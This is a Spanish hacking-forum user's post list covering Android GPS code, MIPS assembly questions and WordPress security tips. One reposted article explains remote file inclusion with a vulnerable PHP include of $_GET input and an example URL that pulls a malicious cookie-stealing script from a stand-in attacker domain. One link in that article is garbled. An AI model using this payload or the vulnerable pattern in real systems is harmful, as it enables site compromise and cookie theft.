Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - Hackmundy

Páginas: [1] 2 3 ... 5
1
Presentaciones / Hola a todos
« en: Junio 14, 2020, 07:29:51 pm »
Hola como estan, buenas tardes, hace años no me conecto  :'(, no es porque no he querido pero la universidad el trabajo me ha impedido seguir aprendiendo de este fantastico mundo,tratare de conectarme mas seguido y ponerme al dia, me gustaria saber si actualmente estan trabajando en un proyecto de programacion en la que pued participar.

saludos  :)

2
Dudas y pedidos generales / Problema GPS en Android
« en: Octubre 22, 2017, 07:26:37 pm »
Hola como esta, he estado aprendiendo android, pero he dado vuelta por toda la red y no encuentro solucion, lo que pasa es que no me actualiza las cordenadas GPS no entra la LocationListener nunca, aparte aveces se cierra la apk. No se que pueda ser ya hice de todo.


Código: [Seleccionar]
package com.taxi.taxista;

import android.Manifest;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Build;
import android.os.SystemClock;
import android.provider.Settings;


import android.support.v4.app.ActivityCompat;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;
import android.support.v7.app.AlertDialog;

import android.view.View;
import android.widget.Button;
import android.widget.Chronometer;
import android.widget.TabHost;
import android.widget.Toast;

import com.google.android.gms.maps.CameraUpdate;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.Marker;
import com.google.android.gms.maps.model.MarkerOptions;

import Conexion.ConexionHTTP;

public class CordenadasMaps extends FragmentActivity implements OnMapReadyCallback, LocationListener {

    private GoogleMap mMap;
    private Marker marcador;
    private LocationManager locationManager;
    //private LocationListener locationListener;
    private double latitud;
    private double longitud;
    private Chronometer reloj;

    private short FlagThear = 0, PrimeraVez = 0;
    private long TIME_HILO = 3000;
    private Button Activ, Desact;
    private String ID;
    AlertDialog alert = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_cordenadas_maps);
        // Obtain the SupportMapFragment and get notified when the map is ready to be used.
        SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
                .findFragmentById(R.id.map);
        mapFragment.getMapAsync(this);


        Resources res = getResources();
        TabHost tabs = (TabHost) findViewById(android.R.id.tabhost);
        tabs.setup();

        TabHost.TabSpec spec = tabs.newTabSpec("mitab1");
        spec.setContent(R.id.tab1);
        spec.setIndicator("",
                res.getDrawable(R.drawable.mapa));
        tabs.addTab(spec);

        spec = tabs.newTabSpec("mitab2");
        spec.setContent(R.id.tab2);
        spec.setIndicator("",
                res.getDrawable(R.drawable.taximetro));
        tabs.addTab(spec);

        spec = tabs.newTabSpec("mitab3");
        spec.setContent(R.id.tab3);
        spec.setIndicator("",
                res.getDrawable(android.R.drawable.ic_delete));
        tabs.addTab(spec);

        tabs.setCurrentTab(0);
        Activ = (Button) findViewById(R.id.btn_activar);
        Desact = (Button) findViewById(R.id.btn_desactivar);
        Bundle datos = getIntent().getExtras();
        ID = datos.getString("ID");
        //hilo();
    }

    @Override
    public void onRequestPermissionsResult(int requestCode,String[] permissions,int[] grantResults) {
        //super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        switch (requestCode) {
            case 10:
                VerificaPermiso();
                break;
            default:
                break;
        }
    }

    public void VerificaPermiso() {

        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED &&
                ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                requestPermissions(new String[]{Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.INTERNET}, 10);
            }
            System.out.println("ENTRO AQUI");
            return;
        }
        Criteria criteria = new Criteria();
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        criteria.setAltitudeRequired(false);
        criteria.setBearingRequired(false);
        criteria.setCostAllowed(true);
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        String provider = locationManager.getBestProvider(criteria, true);
        System.out.println("provider" + provider);
        if (provider != null) {
            locationManager.requestLocationUpdates(provider, 0, 0, CordenadasMaps.this);
        }
    }

    public void setLatLon(double longitud, double latitud) {
        this.longitud = longitud;
        this.latitud = latitud;
        System.out.println("1  " + this.longitud);
        System.out.println("1 " + this.latitud);
    }


    @Override
    public void onMapReady(GoogleMap googleMap) {
        mMap = googleMap;
        System.out.println("1");
        locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);


        mMap.setOnMapLongClickListener(new GoogleMap.OnMapLongClickListener() {
            @Override
            public void onMapLongClick(LatLng latLng) {
                mMap.addMarker(new MarkerOptions()
                        //.icon(BitmapDescriptorFactory.fromResource())
                        .position(latLng));
            }
        });

        mMap.setOnMarkerClickListener(new GoogleMap.OnMarkerClickListener() {
            @Override
            public boolean onMarkerClick(Marker marker) {
                Toast.makeText(getApplicationContext(), "Presiono", Toast.LENGTH_SHORT).show();
                return false;
            }
        });

        //VerificaPermiso();
        checkLocation();
        VerificaPermiso();
        PosicionActual();

        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {

            return;
        }
        mMap.setMyLocationEnabled(true);
    }



    @Override
    protected void onPause() {
        super.onPause();
        Criteria criteria = new Criteria();
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        criteria.setAltitudeRequired(false);
        criteria.setBearingRequired(false);
        criteria.setCostAllowed(true);
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        String provider = locationManager.getBestProvider(criteria, true);

        if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED &&
                    ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {

                if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M){
                    requestPermissions(new String[]{Manifest.permission.ACCESS_FINE_LOCATION,Manifest.permission.ACCESS_COARSE_LOCATION,Manifest.permission.INTERNET},10);
                }
                return;
            }
            else{
                if (provider != null) {
                    locationManager.removeUpdates(this);
                }
            }

        }
        else{
            if (provider != null) {
                locationManager.removeUpdates(this);
            }

        }


    }

    public void PosicionActual(){
        Location lugar = null;
        Criteria criteria = new Criteria();
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        criteria.setAltitudeRequired(false);
        criteria.setBearingRequired(false);
        criteria.setCostAllowed(true);
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        String provider = locationManager.getBestProvider(criteria, true);
        System.out.println("provider" + provider);
        if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED &&
                    ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {

                if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M){
                    requestPermissions(new String[]{Manifest.permission.ACCESS_FINE_LOCATION,Manifest.permission.ACCESS_COARSE_LOCATION,Manifest.permission.INTERNET},10);
                }
                return;
            }
            else{
                if (provider != null) {
                    System.out.println("3");
                    lugar=locationManager.getLastKnownLocation(provider);
                }
            }

        }
        else{
            if (provider != null) {
                System.out.println("3a");
                lugar=locationManager.getLastKnownLocation(provider);
            }

        }
        if(lugar!=null) {
            try {
                setLatLon(lugar.getLongitude(), lugar.getAltitude());
            }catch (Exception e){
                setLatLon(0.0,0.0);
            }
        }
        //agregarmarcador(lugar.getAltitude(),lugar.getLongitude());
        actualizarUbicacion(lugar);
    }

    private void agregarmarcador(double lat, double log){
        LatLng coordenadas = new LatLng(lat,log);
        CameraUpdate miUbicacion = CameraUpdateFactory.newLatLngZoom(coordenadas,16);
        if(marcador!=null)marcador.remove();
        marcador=mMap.addMarker(new MarkerOptions().position(coordenadas)
                .title("Mi posicion Actual")
                .icon(BitmapDescriptorFactory.fromResource(R.mipmap.ic_launcher)));
        mMap.animateCamera(miUbicacion);
    }

    private void actualizarUbicacion(Location location){
        if(location!=null){
            latitud=location.getLatitude();
            longitud=location.getLongitude();
            agregarmarcador(latitud,longitud);
        }
    }

    public void iniciarReloj(View view){
        reloj = (Chronometer)findViewById(R.id.reloj);
        reloj.setBase(SystemClock.elapsedRealtime());
        reloj.start();
    }

    @Override
    public void onBackPressed() {
        //super.onBackPressed();

    }


    @Override
    public void onLocationChanged(Location location) {
        System.out.println("Entro al listener");
        Toast.makeText(getApplicationContext(), "Cambio de posicion", Toast.LENGTH_SHORT).show();
        actualizarUbicacion(location);
        hilo();
    }

    @Override
    public void onStatusChanged(String s, int i, Bundle bundle) {

    }

    @Override
    public void onProviderEnabled(String s) {

    }

    @Override
    public void onProviderDisabled(String s) {
        Intent i = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
        startActivity(i);
    }

    public void hilo(){
        System.out.println("ENTRO AL HILO");
        Thread tr = new Thread(){
            @Override
            public void run(){
                while(FlagThear==1) {
                    ConexionHTTP HttpPOST = new ConexionHTTP();
                    try {
                        final String Respuesta = HttpPOST.EnviarDatosGPS(String.valueOf(longitud), String.valueOf(latitud), "[url]http://ecuataxi.grupomeraki.org/php/coordenadas.php[/url]",ID);
                        System.out.println("Respuesta: "+Respuesta);
                    }
                    catch (Exception e){

                    }
                    runOnUiThread(new Runnable() {
                        @Override
                        public void run() {

                        }
                    });

                    try {
                        Thread.sleep(TIME_HILO);
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }

                }
            }
        };
        if(PrimeraVez==0) {
            tr.start();
            PrimeraVez=1;
        }
    }

    public void Activar(View view){
        FlagThear=1;
        PrimeraVez=0;
        //hilo();
        Activ.setEnabled(false);
        Desact.setEnabled(true);
    }

    public void Desactivar(View view){
        FlagThear=0;
        Activ.setEnabled(true);
        Desact.setEnabled(false);
    }

    private boolean checkLocation() {
        if (!isLocationEnabled())
            AlertNoGps();
        return isLocationEnabled();
    }

    private void showAlert() {
        Thread tr = new Thread() {
            @Override
            public void run(){
                while(true) {
                    final AlertDialog.Builder dialog = new AlertDialog.Builder(CordenadasMaps.this);
                    dialog.setCancelable(false);
                    dialog.setTitle("Enable Location")
                            .

                                    setMessage("Su ubicación esta desactivada.\npor favor active su ubicación " +
                                            "usa esta app")
                            .

                                    setPositiveButton("Configuración de ubicación", new DialogInterface.OnClickListener() {
                                        @Override
                                        public void onClick(DialogInterface paramDialogInterface, int paramInt) {
                                            Intent myIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
                                            startActivity(myIntent);
                                            return;
                                        }
                                    })
                            .

                                    setNegativeButton("Cancelar", new DialogInterface.OnClickListener() {
                                        @Override
                                        public void onClick(DialogInterface paramDialogInterface, int paramInt) {
                                            return;
                                        }
                                    });
                    dialog.show();
                }
            }
        };
        tr.start();
    }

    private boolean isLocationEnabled() {
        Criteria criteria = new Criteria();
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        criteria.setAltitudeRequired(false);
        criteria.setBearingRequired(false);
        criteria.setCostAllowed(true);
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        String provider = locationManager.getBestProvider(criteria, true);
        if(provider!=null){
            return locationManager.isProviderEnabled(provider);
        }else {
            return locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER) ||
                    locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
        }
    }


    private void AlertNoGps() {
        Thread hil = new Thread() {
            @Override
            public void run(){
                final AlertDialog.Builder builder = new AlertDialog.Builder(CordenadasMaps.this);
                builder.setMessage("El sistema GPS esta desactivado, ¿Desea activarlo?")
                        .setCancelable(false)
                        .setPositiveButton("Si",new DialogInterface.OnClickListener() {
                                    public void onClick ( @SuppressWarnings("unused") final DialogInterface dialog,
                                                          @SuppressWarnings("unused") final int id){
                                        startActivity(new Intent(android.provider.Settings.ACTION_LOCATION_SOURCE_SETTINGS));
                                    }
                                })
                        .setNegativeButton("No",new DialogInterface.OnClickListener() {
                                    public void onClick ( final DialogInterface dialog,
                                                          @SuppressWarnings("unused") final int id){
                                        dialog.cancel();
                                    }
                                });
                alert =builder.create();
                alert.show();
            }
        };
        hil.start();
    }

    @Override
    protected void onDestroy(){
        super.onDestroy();
        if(alert != null)
        {
            alert.dismiss ();
        }
    }
}



Disculpen mi idnorancia.


3
Dudas y pedidos generales / Re:Android Studio en archlinux
« en: Mayo 04, 2017, 01:33:43 am »
Eso ya habia realizado y no me funciono, no se que mas pueda ser-..

4
Dudas y pedidos generales / Android Studio en archlinux
« en: Mayo 01, 2017, 03:48:35 pm »
Hola a todos como están, tengo un problemita al instalar el android studio, y crear un nuevo proyecto me sale esto:

Código: [Seleccionar]
error=13, Permission denied

le he dado permisos con chmod al programa y la carpeta del proyecto pero al crear el grande sale eso..

Disculpen las molestias.

5
Muchas Gracias si habia leido algo de eso, pero lamentablemente necesito hacerlo en windows,  voy a ver si se puede copiar esos header en windows.

saludos

6
Hola como estan debo hacer un codigo que busque los dispocitivos cercanos mediante bluetooth y que se emparejen, pero no tengo ni la remota idea como empezar alguien me podria ayudar diciendo los temas que debo leer ya que en google no he encontrado mucha informacion..

saludos.

7
Hola como estan no entiendo aun mucho de los makefile, pero me gustaria saber como puedo unir todas las librerias y codigo fuente usadas en .out.

SALUDOS y disculpen mi idnorancia.

8
Hola claro.

Código: [Seleccionar]
.data
A: .space 100 #vector A de 100
B: .space 100 #Vector B de 100
.text

addi $t0,$zero,0 #i=0
addi $t1,$zero,100 #maximo
addi $s1,$zero,0 #Recorre vector

#LLENANDO VECTOR B
bge $t0, $t1, fin_bucleB #no es necesario
FORB:
   sw $t0,B($s1) #GUARDO LOS NUMEROS DEL 0 HASTA EL MAXIMO QUE ES $t1 - 1
   lw $s2,B($s1) #LOS CARGO PARA MOSTRAR Y VERIFICAR SI SE ALMACENO
   addi $s1,$s1,4 #AUMENTO LA DIRECCION DE MEMORIA DEL VECTOR ES DECIR B[i]
   addi $t0,$t0,1 #i++
   blt $t0,$t1, FORB #salta si termina condicion
fin_bucleB:
#FIN LLENANDO VECTOR B


#OPERACION DEL PROYECTO
#for(int i=0;i<100;i++)
#   A[i]=B[i]+c
addi $t0,$zero,0 #i=0
addi $t1,$zero,6 #maximo
addi $s0,$zero,5 #Variable C
addi $s1,$zero,0 #Recorre vector

bge $t0, $t1, fin_bucleA
FORA:
   lw $s2,B($s1)
   add $s3,$s2,$s0 #B[i]+c
   sw $s3,A($s1) #A[i]=B[i]+c
   addi $s1,$s1,4 #aumento
   #Mostrando
      li $v0,1
      addi $a0,$s3,0
      syscall
   #Fin de Mostrar
   addi $t0,$t0,1 #i++
   blt $t0,$t1, FORA #salta si termina condicion
fin_bucleA:

Saludos

9
Ya lo resolvi asi que doy por concluida este tema..
saludos

10
No entiendo porque quieres ocultar tu identidad al crear un blog al menos que sea algo malo, pero bueno si sabran donde y quien registro la pagina, pero de la persona dueña del servicio ISP, pero si pones datos reales, asi uses enmascarador de IP sabran casi con exatitud quien es, existen muchos metodos de ocultamiento de identidad..

saludos

11
Hola como estan disculpen por molestar, me gustaria ayudar como declara un vector de interos en mips32, y la sintaxis del for:

data
A: .space 100 #vector A de 100

pero no funciona e estado leyendo y solo dice que es para reservar memoria pero como declaro un vector de int ya que con char es asi:
rosa: .asciiz "ROZA \n"
pedro: .asciiz "pedro \n"
andres: .asciiz "andres \n"
names: .word rosa,pedro,andres

con respecto al for :

bucle:
#bloque del for
bge $t3, 100, fin_bucle

lw $t0,($s0) #a
lw $t1,$t3,($s1) #b
add $s2,$t1,$s3 #b+c
sw $t0,$t3($s0) #a=b+c;

addi $t1, $t1, 1 #aumentamos el contador
blt $t1, 100, bucle #salta si el contenido de $t1 es menor que 100
fin_bucle:


salidos

12
Hola buenas disculpa mi idnorancia esta herramienta es similar a linset que crea una AP falsa o es mejor , disculpa las molestias..

saludos

13
Off Topic / Re:Muestranos tu Labs!
« en: Mayo 18, 2013, 07:29:40 pm »
Estan super quiero comprarme una antena como la que tiene antrax me podrian dar el modelo y nombre de la antena y tarjeta wifi para haber si me alcanza el dinero de este fin de mes....

saludos...

14
Off Topic / Re:Primer sorteo en Underc0de! [Participa!]
« en: Mayo 18, 2013, 07:18:19 pm »
xD Haber como esto yo tengo mala suerte en sorteos pero para ver como funciona esto me anoto, pido disculpas por no conectarme seguido es que mi pc a muerto y no la e arreglado ya que se a dañado el mainboard y son caras xd, espero ser perdonado.....

nick Hackmundy
numero 20


saludos.

15
Seguridad Wireless / Re:Brute Force en .cap (WPA) varios métodos
« en: Abril 10, 2013, 11:51:06 am »
Se ve muy Bueno solo conocia el aircrack pero solo puedo con wep, pero con wpa-psk y wpa2 no puedo, espero pronto aprender, ya falta 3 dias para que termine el pre universitario y de hay si practicar... Gracias exelente aporte...

saludos,,,

16
Seguridad / Seguridad de Plugins WordPress: ¿Que es peligroso?
« en: Marzo 03, 2013, 11:52:48 am »
Hola hoy les traigo esta Info que encontre. Hemos establecido que la regla de oro en la seguridad web es comprobar los “gateways”. Y esto es vigilar las áreas de un sitio web que un atacante podría utilizar para enviar datos a tu web. Me gustaría ahondar mas en esto hoy.

El experto en soporte WordPress, Podz, pregunta en su blog, “¿Que es peligroso?”

La respuesta está en comprender los vectores de ataque. Los vectores de ataque, tales como Scripts Cruzados, Inyecciones SQL e Inclusión de Fichero Remoto, son algunos de los métodos mas utilizados para atacar una web. Si entiendes los principios en los que se basan tendrás una mayor comprensión de lo que necesitas buscar en un plugin. Así que vamos a ello ¿no crees?.

Scripts Cruzados (XSS)

Los Scripts Cruzados han sido descritos por Network World como la “mayor amenaza de seguridad“. Scripts Cruzados es un término general que se refiere a la inyección de javascript en una página. Y como la zona javascript permite al navegador hacer una amplia variedad de cosas, incluyendo el potencial de ejecutar código en el sistema de archivos, permitir a un atacante un vector para conseguir meter ese código en tu ordenador o web es peligroso. Un ejemplo de XSS sería el fallo de Democracy 1.2. Un punto común de entrada de un XSS es un formulario HTML (formulario de contacto, tagboard, etc) o la barra de direcciones.

Inyección SQL

Desde un punto de vista de programación, la inyección SQL ocurre cuando la entrada desde el navegador (ya sea desde un formulario o la barra de direcciones o lo que sea) se filtra inadecuadamente para hacerla “segura” y luego alimenta directamente una base de datos. Este vector de ataque permitiría que el contenido de una web (que esté apoyado en bases de datos) sea alterado o incluso borrado. Podría también utilizarse en combinación con XSS para inyectar javascript malicioso o scripts de servidor en el contenido de una página.

Inclusión de Fichero Remoto

Un tercer vector de ataque que debería evitarse es la inclusión de fichero remoto. Esto es utilizar una función PHP ( <a href="http://us2.php.net/incm��VFR#��6�^ude()</a>) para insertar una pieza de código alojado en cualquier sitio y ejecutado en el servidor remoto. En otras palabras, un atacante puede escribir un pequeño script que registre direcciones IP, cookies, etc, y si puede incluir en la web un script PHP de su sitio, puede ofrecer información valiosa al atacante. La IFR suele encontrarse normalmente cuando una entrada de usuario (formulario, barra de direcciones) se incluye directamente en un include().

Por ejemplo, un enlace de este tipo: http://ejemplo.com/?page=about poddría tener algún código que facilite el contenido adecuado <?php include($_GET['page'].".php"); ?>. Este tipo de código descuidado es mas habitual de lo que te imaginas. La intención del desarrollador podría ser, en este ejemplo, incluir los contenidos de about.php en la página principal. Sin embargo, piensa que pasaría si mando esta petición a mi navegador:
http://ejemplo.com/?page=http://midominio.com/script_lectura_cookie_maliciosa
Entonces, su página estaría ejecutando en realidad esta orden:

Código: [Seleccionar]
< ?php include("[url]http://midominio.com/script_lectura_cookie_maliciosa.php[/url]"); ?>
Un asunto muy peligroso.

¿Como afecta esto a WordPress?

En los siguientes artículos de esta serie echaremos un vistazo a las implicaciones de seguridad específicas a los plugins de WordPress. Cualquier plugin que se use debería inspeccionarse inicialmente para ver si permite la interacción con el usuario. Si permite la interacción del usuario podría ser propenso a uno de estos ataques de vectores. No asumas, no obstante, que un plugin que acepte interacción es peligroso. Es cuestión del código y el desarrollador ofrecer una entrada de usuario apropiada y segura.

Saludos..

17

WordPress es ya el CMS más utilizado y popular, y ese poder conlleva una responsabilidad, la de ser también el CMS más atacado por hackers que quieran hacerse con el control de tal o cual web … hecha con WordPress. Y no te creas que si tu WordPress no es una web popular no sufrirá ataques, pues muchos de los “exploits” que se crean son para hacer webs zombie, y para eso les vale cualquiera.

De todos los modos que hay de hackear una web, los 3 que más se dan en WordPress, las principales vías de entrada para ataques, son las siguientes:

1. Temas y plugins sin actualizar

Instalar y actualizar temas y plugins en WordPress es muy fácil, y con el sistema de avisos de nuevas versiones integrado, salvo situaciones especiales, no hay motivos para no actualizarlos cuando hay nuevas versiones. Además, la mayoría de las actualizaciones suelen ser por cuestiones de seguridad que podrían poner en peligro tu web, salvo cuando hay un cambio de versión mayor en WordPress, que entonces obliga a cambiar ciertos códigos en algunos plugins y temas. El resto de las ocasiones, especialmente en los temas, es prácticamente obligatorio actualizarlos.

Muchas veces hablamos de la conveniencia – o no – de los plugins y temas de pago, y una de sus ventajas debe ser el aliciente para el desarrollador de estar pendiente de nuevos ataques o “exploits” y actualizar su producto para solucionarlos, algo que con los temas y plugins gratuitos no siempre es así.
Soluciones

Citar
Mantén actualizado WordPress a la última versión
Mantén actualizados los plugins WordPress
Mantén actualizados los temas WordPress
Aprende los peligros de los plugins WordPress

Fácil ¿no?

2. Datos de acceso débiles


Actualmente puedes elegir el nombre de usuario administrador al instalar WordPress, y sino cambiarlo nada más terminar la instalación, pero aún hay muchos WordPress con el usuario por defecto de nombre admin, y con eso cualquier intruso ya tiene la mitad de la información para acceder a tu WordPress como administrador.

Si a esto le sumas una contraseña simple, fácil de adivinar o que uses en otros servicios online no siempre seguros, estás más que expuesto a posibles accesos no deseados. Es algo que debes solucionar lo antes posible.
Soluciones

Citar
Cambia el nombre de usuario admin lo antes posible
Cambia la URL de login de WordPress como medida adicional
Evita dar pistas a hackers en el login
Limita los intentos de acceso

3. Inyecciones en la base de datos

Este es quizás el método más empleado últimamente para hackear cualquier CMS, WordPress incluido, y lo malo es que no siempre depende de ti que las bases de datos estén seguras, pero al menos hemos de hacer nuestro trabajo para asegurarlas lo máximo posible.

Lo peor es que si un hacker entra en tu base de datos estás perdido del todo, puede hacer lo que sea, no hay límites. Además, luego limpiar una base de datos infectada es un absoluto horror, de lo peor que te puede ocurrir.
Soluciones

Citar
Cambia el prefijo de tu base de datos
Protege el archivo .htaccess
Usa htaccess como firewall

Y hasta aquí las 3 maneras más comunes en que suele haber hackeos de WordPress. Vamos a ver si tenemos ayudas genéricas …

Avisos de seguridad de Google

Es horrible cuando visitamos una web y Google nos avisa de que es insegura y puede infectar nuestro sistema, pero para el webmaster es, al menos, un aviso de que algo ha pasado.

Para ello es fundamental que tengas una cuenta en Google Webmaster Tools para gestionar ahí tus webs y poder tener avisos de seguridad e incluso instrucciones de como solucionar intrusiones. Además, Google ya te avisa incluso de cuando tienes que actualizar WordPress.

Luego, en su mismo panel puedes avisarle a Google de que tu sitio está limpio y quitará, tras comprobarlo, el molesto aviso.

¿Cómo evitar problemas de seguridad en WordPress?

Todo esto, como ves está muy bien pero ¿como evito este tipo de intrusiones, hackeos e inyecciones de código?, pues siendo exhaustivo en los básicos, que no me cansaré de repetir:

Citar
Mantener WordPress actualizado a la última versión, única garantía de control de vulnerabilidades conocidas.
Instalar solamente plugins seguros, a ser posible desde el repositorio oficial.
Instalar solamente temas seguros, a ser posible desde el repositorio oficial.
Asegura WordPress con plugins especializados
Revisar la sección de seguridad de Ayuda WordPress para comprobar que has realizado todas las acciones de seguridad necesarias.
Suscribirte al feed de Ayuda WordPress para estar informado de las alertas de seguridad.

Servicios WordPress seguros

Ahora bien, si no quieres preocuparte de la seguridad de tu WordPress, siempre puedes recurrir a servicios que te quiten de problemas:

Citar
Utiliza un WordPress administrado como WordPress.com, simplemente escribes y te olvidas de todo
Haz backup de todo, tienes muchos plugins que automatizan las copias de seguridad diarias, para casos de desastre
Contrata un hosting especializado en WordPress que haga copia de seguridad automática de tu sitio
Install a premium plugin which automatically creates a full backup and sends it to a storage location of your choice.

Bueno esto es Todo Espero que les Guste...

Saludos...

18
Zona Webmaster / Re:El mejor editor web..
« en: Febrero 22, 2013, 10:35:45 pm »
Se ve muy bueno y yo que estoy aprendiendo php me sirve mucho...

Gracias

19
Gracias a todos por responder echare un vistaso al video....

Saludos..

20
Python / Re:Mi primer juego en Pygame : UrbanWar
« en: Febrero 21, 2013, 11:06:02 am »
Esta muy bueno yo apenas pude hacer el de memoria y colores xd me falta mucho para llegar a tu nivel.
Muy Bueno me gusto mucho...

Saludos..

Páginas: [1] 2 3 ... 5